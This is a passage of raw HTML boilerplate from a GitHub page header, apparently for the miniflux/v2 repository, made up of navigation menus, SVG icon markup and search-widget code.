<path d=\"M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z\"></path>\n</svg>\n      </button>\n      <div class=\"HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4\">\n          <div class=\"border-bottom pb-3 mb-3\">\n              <span class=\"d-block h4 color-fg-default my-1\" id=\"solutions-for-heading\">For</span>\n            <ul class=\"list-style-none f5\" aria-labelledby=\"solutions-for-heading\">\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Enterprise&quot;,&quot;label&quot;:&quot;ref_cta:Enterprise;&quot;}\" href=\"/enterprise\">\n      Enterprise\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Teams&quot;,&quot;label&quot;:&quot;ref_cta:Teams;&quot;}\" href=\"/team\">\n      Teams\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Startups&quot;,&quot;label&quot;:&quot;ref_cta:Startups;&quot;}\" href=\"/enterprise/startups\">\n      Startups\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" target=\"_blank\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Education&quot;,&quot;label&quot;:&quot;ref_cta:Education;&quot;}\" href=\"https://education.github.com\">\n      Education\n\n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle\">\n    <path d=\"M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z\"></path>\n</svg>\n</a></li>\n\n            </ul>\n          </div>\n          <div class=\"border-bottom pb-3 mb-3\">\n              <span class=\"d-block h4 color-fg-default my-1\" id=\"solutions-by-solution-heading\">By Solution</span>\n            <ul class=\"list-style-none f5\" aria-labelledby=\"solutions-by-solution-heading\">\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to CI/CD &amp;amp; Automation&quot;,&quot;label&quot;:&quot;ref_cta:CI/CD &amp;amp; Automation;&quot;}\" href=\"/solutions/ci-cd/\">\n      CI/CD &amp; Automation\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to DevOps&quot;,&quot;label&quot;:&quot;ref_cta:DevOps;&quot;}\" href=\"/solutions/devops/\">\n      DevOps\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" target=\"_blank\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to DevSecOps&quot;,&quot;label&quot;:&quot;ref_cta:DevSecOps;&quot;}\" href=\"https://resources.github.com/devops/fundamentals/devsecops/\">\n      DevSecOps\n\n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle\">\n    <path d=\"M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z\"></path>\n</svg>\n</a></li>\n\n            </ul>\n          </div>\n          <div class=\"\">\n              <span class=\"d-block h4 color-fg-default my-1\" id=\"solutions-resources-heading\">Resources</span>\n            <ul class=\"list-style-none f5\" aria-labelledby=\"solutions-resources-heading\">\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" target=\"_blank\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Learning Pathways&quot;,&quot;label&quot;:&quot;ref_cta:Learning Pathways;&quot;}\" href=\"https://resources.github.com/learn/pathways/\">\n      Learning Pathways\n\n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle\">\n    <path d=\"M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z\"></path>\n</svg>\n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" target=\"_blank\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to White papers, Ebooks, Webinars&quot;,&quot;label&quot;:&quot;ref_cta:White papers, Ebooks, Webinars;&quot;}\" href=\"https://resources.github.com/\">\n      White papers, Ebooks, Webinars\n\n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle\">\n    <path d=\"M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z\"></path>\n</svg>\n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Customer Stories&quot;,&quot;label&quot;:&quot;ref_cta:Customer Stories;&quot;}\" href=\"/customer-stories\">\n      Customer Stories\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" target=\"_blank\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Partners&quot;,&quot;label&quot;:&quot;ref_cta:Partners;&quot;}\" href=\"https://partner.github.com/\">\n      Partners\n\n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle\">\n    <path d=\"M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z\"></path>\n</svg>\n</a></li>\n\n            </ul>\n          </div>\n      </div>\n</li>\n\n\n                <li class=\"HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item\">\n      <button type=\"button\" class=\"HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target\" aria-expanded=\"false\">\n        Open Source\n        <svg opacity=\"0.5\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-chevron-down HeaderMenu-icon ml-1\">\n    <path d=\"M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z\"></path>\n</svg>\n      </button>\n      <div class=\"HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4\">\n          <div class=\"border-bottom pb-3 mb-3\">\n            <ul class=\"list-style-none f5\" >\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to GitHub Sponsors&quot;,&quot;label&quot;:&quot;ref_cta:GitHub Sponsors;&quot;}\" href=\"/sponsors\">\n      \n      <div>\n        <div class=\"color-fg-default h4\">GitHub Sponsors</div>\n        Fund open source developers\n      </div>\n\n    \n</a></li>\n\n            </ul>\n          </div>\n          <div class=\"border-bottom pb-3 mb-3\">\n            <ul class=\"list-style-none f5\" >\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to The ReadME Project&quot;,&quot;label&quot;:&quot;ref_cta:The ReadME Project;&quot;}\" href=\"/readme\">\n      \n      <div>\n        <div class=\"color-fg-default h4\">The ReadME Project</div>\n        GitHub community articles\n      </div>\n\n    \n</a></li>\n\n            </ul>\n          </div>\n          <div class=\"\">\n              <span class=\"d-block h4 color-fg-default my-1\" id=\"open-source-repositories-heading\">Repositories</span>\n            <ul class=\"list-style-none f5\" aria-labelledby=\"open-source-repositories-heading\">\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to Topics&quot;,&quot;label&quot;:&quot;ref_cta:Topics;&quot;}\" href=\"/topics\">\n      Topics\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to Trending&quot;,&quot;label&quot;:&quot;ref_cta:Trending;&quot;}\" href=\"/trending\">\n      Trending\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to Collections&quot;,&quot;label&quot;:&quot;ref_cta:Collections;&quot;}\" href=\"/collections\">\n      Collections\n\n    \n</a></li>\n\n            </ul>\n          </div>\n      </div>\n</li>\n\n\n                <li class=\"HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item\">\n    <a class=\"HeaderMenu-link no-underline px-0 px-lg-2 py-3 py-lg-2 d-block d-lg-inline-block\" data-analytics-event=\"{&quot;category&quot;:&quot;Header menu top item (logged out)&quot;,&quot;action&quot;:&quot;click to go to Pricing&quot;,&quot;label&quot;:&quot;ref_cta:Pricing;&quot;}\" href=\"/pricing\">Pricing</a>\n</li>\n\n            </ul>\n          </nav>\n\n        <div class=\"d-lg-flex flex-items-center mb-3 mb-lg-0 text-center text-lg-left ml-3\" style=\"\">\n                \n\n\n<qbsearch-input class=\"search-input\" data-scope=\"repo:miniflux/v2\" data-custom-scopes-path=\"/search/custom_scopes\" data-delete-custom-scopes-csrf=\"mrzRjxTPHqwbo9Q_CykVyX4btKCxKTN5WyoHSziMVAKLXWFFRc7jMEWkCU_WONhW-o0JhJgstEkj1Oyv6-KRgQ\" data-max-custom-scopes=\"10\" data-header-redesign-enabled=\"false\" data-initial-value=\"\" data-blackbird-suggestions-path=\"/search/suggestions\" data-jump-to-suggestions-path=\"/_graphql/GetSuggestedNavigationDestinations\" data-current-repository=\"miniflux/v2\" data-current-org=\"miniflux\" data-current-owner=\"\" data-logged-in=\"false\" data-copilot-chat-enabled=\"false\" data-blackbird-indexed-repo-csrf=\"<esi:include src=&quot;/_esi/rails_csrf_token_form_hidden?r=Bh1Q2JJLdyzfa%2BG00lUOL6rLdWbxkIcVTsYugOEe3JE4RY9LfWM6nd8VofkOAZja8WMCXe%2BkwUyZgEVV3oRZErNdDXat7cUSTCD7VXDpI3XXGu4yBsADXjC9Bs2w6ZSoF8acaQA1aErMwrCWAsNJ%2FykvQ%2F51z4Fe2n%2FwdHRT3a9mDOmFq%2FDNkqmZO%2BZpF0YUEEA5Gh7rOWiVLqMthQakj%2FVJ1RJ3RUZOo38nUC4bZiIEJFLWWzKRd1RX%2FvsnUK6rB1oSL8NXQH7rO5GIplhnHSLp4Zg4MnI%2F2Bx9cAYzVN1DmpIbjLS113b9gtCtXkD8c2MogirRvdGd%2Fxuyl7Ukr7Z2pn3upfP33C0Wp1Q%2BJsaO6bsO%2BCz%2FulENBFslQiTh5qZOFfezdcsM2Csq3dnd7bi%2FgZbgcfdt1toX8jL8%2FcBHy4ULEu91c7ybL2DzDb6MZHKkSCFclTNK85tHVLwjfayHaZUWBLthAm9eovcE7f6SwALTziWbulz14n6MZhEOTL%2BnR7v1--XPRAiQNgn6xRb73P--9YjiWOdDz65FTMkirdHSaA%3D%3D&quot; />\">\n  <div\n    class=\"search-input-container search-with-dialog position-relative d-flex flex-row flex-items-center mr-4 rounded\"\n    data-action=\"click:qbsearch-input#searchInputContainerClicked\"\n  >\n      <button\n        type=\"button\"\n        class=\"header-search-button placeholder  input-button form-control d-flex flex-1 flex-self-stretch flex-items-center no-wrap width-full py-0 pl-2 pr-0 text-left border-0 box-shadow-none\"\n        data-target=\"qbsearch-input.inputButton\"\n        placeholder=\"Search or jump to...\"\n        data-hotkey=s,/\n        autocapitalize=\"off\"\n        data-action=\"click:qbsearch-input#handleExpand\"\n      >\n        <div class=\"mr-2 color-fg-muted\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-search\">\n    <path d=\"M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z\"></path>\n</svg>\n        </div>\n        <span class=\"flex-1\" data-target=\"qbsearch-input.inputButtonText\">Search or jump to...</span>\n          <div class=\"d-flex\" data-target=\"qbsearch-input.hotkeyIndicator\">\n            <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"22\" height=\"20\" aria-hidden=\"true\" class=\"mr-1\"><path fill=\"none\" stroke=\"#979A9C\" opacity=\".4\" d=\"M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z\"></path><path fill=\"#979A9C\" d=\"M11.8 6L8 15.1h-.9L10.8 6h1z\"></path></svg>\n\n          </div>\n      </button>\n\n    <input type=\"hidden\" name=\"type\" class=\"js-site-search-type-field\">\n\n    \n<div class=\"Overlay--hidden \" data-modal-dialog-overlay>\n  <modal-dialog data-action=\"close:qbsearch-input#handleClose cancel:qbsearch-input#handleClose\" data-target=\"qbsearch-input.searchSuggestionsDialog\" role=\"dialog\" id=\"search-suggestions-dialog\" aria-modal=\"true\" aria-labelledby=\"search-suggestions-dialog-header\" data-view-component=\"true\" class=\"Overlay Overlay--width-large Overlay--height-auto\">\n      <h1 id=\"search-suggestions-dialog-header\" class=\"sr-only\">Search code, repositories, users, issues, pull requests...</h1>\n    <div class=\"Overlay-body Overlay-body--paddingNone\">\n      \n          <div data-view-component=\"true\">        <div class=\"search-suggestions position-fixed width-full color-shadow-large border color-fg-default color-bg-default overflow-hidden d-flex flex-column query-builder-container\"\n          style=\"border-radius: 12px;\"\n          data-target=\"qbsearch-input.queryBuilderContainer\"\n          hidden\n        >\n          <!-- '\"` --><!-- </textarea></xmp> --></option></form><form id=\"query-builder-test-form\" action=\"\" accept-charset=\"UTF-8\" method=\"get\">\n  <query-builder data-target=\"qbsearch-input.queryBuilder\" id=\"query-builder-query-builder-test\" data-filter-key=\":\" data-view-component=\"true\" class=\"QueryBuilder search-query-builder\">\n    <div class=\"FormControl FormControl--fullWidth\">\n      <label id=\"query-builder-test-label\" for=\"query-builder-test\" class=\"FormControl-label sr-only\">\n        Search\n      </label>\n      <div\n        class=\"QueryBuilder-StyledInput width-fit \"\n        data-target=\"query-builder.styledInput\"\n      >\n          <span id=\"query-builder-test-leadingvisual-wrap\" class=\"FormControl-input-leadingVisualWrap QueryBuilder-leadingVisualWrap\">\n            <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-search FormControl-input-leadingVisual\">\n    <path d=\"M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z\"></path>\n</svg>\n          </span>\n        <div data-target=\"query-builder.styledInputContainer\" class=\"QueryBuilder-StyledInputContainer\">\n          <div\n            aria-hidden=\"true\"\n            class=\"QueryBuilder-StyledInputContent\"\n            data-target=\"query-builder.styledInputContent\"\n          ></div>\n          <div class=\"QueryBuilder-InputWrapper\">\n            <div aria-hidden=\"true\" class=\"QueryBuilder-Sizer\" data-target=\"query-builder.sizer\"></div>\n            <input id=\"query-builder-test\" name=\"query-builder-test\" value=\"\" autocomplete=\"off\" type=\"text\" role=\"combobox\" spellcheck=\"false\" aria-expanded=\"false\" aria-describedby=\"validation-1b6c4e89-ad73-4d80-9f6d-dd2d1fde088e\" data-target=\"query-builder.input\" data-action=\"\n          input:query-builder#inputChange\n          blur:query-builder#inputBlur\n          keydown:query-builder#inputKeydown\n          focus:query-builder#inputFocus\n        \" data-view-component=\"true\" class=\"FormControl-input QueryBuilder-Input FormControl-medium\" />\n          </div>\n        </div>\n          <span class=\"sr-only\" id=\"query-builder-test-clear\">Clear</span>\n          <button role=\"button\" id=\"query-builder-test-clear-button\" aria-labelledby=\"query-builder-test-clear query-builder-test-label\" data-target=\"query-builder.clearButton\" data-action=\"\n                click:query-builder#clear\n                focus:query-builder#clearButtonFocus\n                blur:query-builder#clearButtonBlur\n              \" variant=\"small\" hidden=\"hidden\" type=\"button\" data-view-component=\"true\" class=\"Button Button--iconOnly Button--invisible Button--medium mr-1 px-2 py-0 d-flex flex-items-center rounded-1 color-fg-muted\">  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-x-circle-fill Button-visual\">\n    <path d=\"M2.343 13.657A8 8 0 1 1 13.658 2.343 8 8 0 0 1 2.343 13.657ZM6.03 4.97a.751.751 0 0 0-1.042.018.751.751 0 0 0-.018 1.042L6.94 8 4.97 9.97a.749.749 0 0 0 .326 1.275.749.749 0 0 0 .734-.215L8 9.06l1.97 1.97a.749.749 0 0 0 1.275-.326.749.749 0 0 0-.215-.734L9.06 8l1.97-1.97a.749.749 0 0 0-.326-1.275.749.749 0 0 0-.734.215L8 6.94Z\"></path>\n</svg>\n</button>\n\n      </div>\n      <template id=\"search-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-search\">\n    <path d=\"M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z\"></path>\n</svg>\n</template>\n\n<template id=\"code-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-code\">\n    <path d=\"m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z\"></path>\n</svg>\n</template>\n\n<template id=\"file-code-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-file-code\">\n    <path d=\"M4 1.75C4 .784 4.784 0 5.75 0h5.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v8.586A1.75 1.75 0 0 1 14.25 15h-9a.75.75 0 0 1 0-1.5h9a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 10 4.25V1.5H5.75a.25.25 0 0 0-.25.25v2.5a.75.75 0 0 1-1.5 0Zm1.72 4.97a.75.75 0 0 1 1.06 0l2 2a.75.75 0 0 1 0 1.06l-2 2a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734l1.47-1.47-1.47-1.47a.75.75 0 0 1 0-1.06ZM3.28 7.78 1.81 9.25l1.47 1.47a.751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018l-2-2a.75.75 0 0 1 0-1.06l2-2a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Zm8.22-6.218V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path>\n</svg>\n</template>\n\n<template id=\"history-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-history\">\n    <path d=\"m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z\"></path>\n</svg>\n</template>\n\n<template id=\"repo-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-repo\">\n    <path d=\"M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z\"></path>\n</svg>\n</template>\n\n<template id=\"bookmark-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-bookmark\">\n    <path d=\"M3 2.75C3 1.784 3.784 1 4.75 1h6.5c.966 0 1.75.784 1.75 1.75v11.5a.75.75 0 0 1-1.227.579L8 11.722l-3.773 3.107A.751.751 0 0 1 3 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.91l3.023-2.489a.75.75 0 0 1 .954 0l3.023 2.49V2.75a.25.25 0 0 0-.25-.25Z\"></path>\n</svg>\n</template>\n\n<template id=\"plus-circle-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-plus-circle\">\n    <path d=\"M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm7.25-3.25v2.5h2.5a.75.75 0 0 1 0 1.5h-2.5v2.5a.75.75 0 0 1-1.5 0v-2.5h-2.5a.75.75 0 0 1 0-1.5h2.5v-2.5a.75.75 0 0 1 1.5 0Z\"></path>\n</svg>\n</template>\n\n<template id=\"circle-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-dot-fill\">\n    <path d=\"M8 4a4 4 0 1 1 0 8 4 4 0 0 1 0-8Z\"></path>\n</svg>\n</template>\n\n<template id=\"trash-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-trash\">\n    <path d=\"M11 1.75V3h2.25a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75ZM4.496 6.675l.66 6.6a.25.25 0 0 0 .249.225h5.19a.25.25 0 0 0 .249-.225l.66-6.6a.75.75 0 0 1 1.492.149l-.66 6.6A1.748 1.748 0 0 1 10.595 15h-5.19a1.75 1.75 0 0 1-1.741-1.575l-.66-6.6a.75.75 0 1 1 1.492-.15ZM6.5 1.75V3h3V1.75a.25.25 0 0 0-.25-.25h-2.5a.25.25 0 0 0-.25.25Z\"></path>\n</svg>\n</template>\n\n<template id=\"team-icon\">\n  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-people\">\n    <path d=\"M2 5.5a3.5 3.5 0 1 1 5.898 2.549 5.508 5.508 0 0 1 3.034 4.084.75.75 0 1 1-1.482.235 4 4 0 0 0-7.9 0 .75.75 0 0 1-1.482-.236A5.507 5.507 0 0 1 3.102 8.05 3.493 3.493 0 0 1 2 5.5ZM11 4a3.001 3.001 0 0 1 2.22 5.018 5.01 5.01 0 0 1 2.56 3.012.749.749 0 0 1-.885.954.752.752 0 0 1-.549-.514 3.507 3.507 0 0 0-2.522-2.372.75.75 0 0 